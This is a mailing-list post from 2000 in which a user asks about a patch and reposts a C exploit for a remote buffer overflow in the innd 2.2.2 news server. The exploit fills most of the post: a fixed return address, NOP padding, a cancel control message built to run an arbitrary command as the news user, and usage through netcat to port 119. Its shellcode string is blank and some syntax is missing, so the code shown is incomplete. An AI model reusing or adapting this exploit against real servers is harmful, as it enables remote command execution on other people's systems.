Innd 2.2.2 remote news user/group exploit

juan Menoyo jmenoy at
Fri Jun 23 08:09:15 UTC 2000

I have seem this exploit for inn 2.2.2-3.

does anybody knows a patch?

It is rather trivial to exploit as we have plenty of room to put our
shellcode :)

Have a phun :)


--- exploit ---
* inndx: innd remote 'news' user/group exploit
* Written on 12th June 2000 by Wojciech Purczynski
* <wp at> cliph/ircnet
* Bug found by Michal Zalewski.
* Tested on innd-2.2.2-3 default installation on RedHat 6.2.
* Usage:
* ./inndx [command [offset]]|nc -i 1 119

#include <stdio.h>
#include <unistd.h>

#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
#define NOP 0x90
#define FAKEPTR 0xbffff1c0
#define COMMAND "echo U have b33n h at x0r3d hahahah|mail root"
#define BODYSIZE 999

/* Code written by me */
char * run_command=

int main(int argc, char *argv[])
int retaddr=RETADDR;
char messageid[256];
char sender[16];
char body[BODYSIZE];
char * command=COMMAND;
int midsize;
int i;

if (argc>1) command=argv[1];
if (argc>2) retaddr+=atoi(argv[2]);

memset(sender, 0, sizeof(sender));
strcpy(sender+0, "a at a."); /* EBP */
*(long*)(sender+4)=(long)retaddr; /* EIP */
*(long*)(sender+8)=(long)RETADDR+1000; /* Data */

memset(messageid, 'a', sizeof(messageid));
sprintf(messageid, "%s at a", tmpnam(NULL)+9);

memset(body, NOP, sizeof(body));
strcat(body, command);
strcat(body, "\xff");

fprintf(stderr, "RETADDR=%p\n", retaddr);
fprintf(stderr, "COMMAND=%s\n", command);

printf("mode reader\r\ngroup test\r\npost\r\n");
printf("Message-ID: <%s>\r\n", messageid);
printf("From: %s\r\nSender: %s\r\n", sender, sender);
printf("Newsgroups: test\r\n");
printf("Subject: blah\r\n");

printf("group control\r\npost\r\n");
printf("Message-ID: <%s at test>\r\n", tmpnam(NULL)+9);
printf("From: a at b.c\r\nSender: a at b.c\r\n");
printf("Control: cancel <%s>\r\n", messageid);
printf("Subject: cmsg cancel <%s>\r\n", messageid);
printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
--- eof ---

More information about the inn-workers mailing list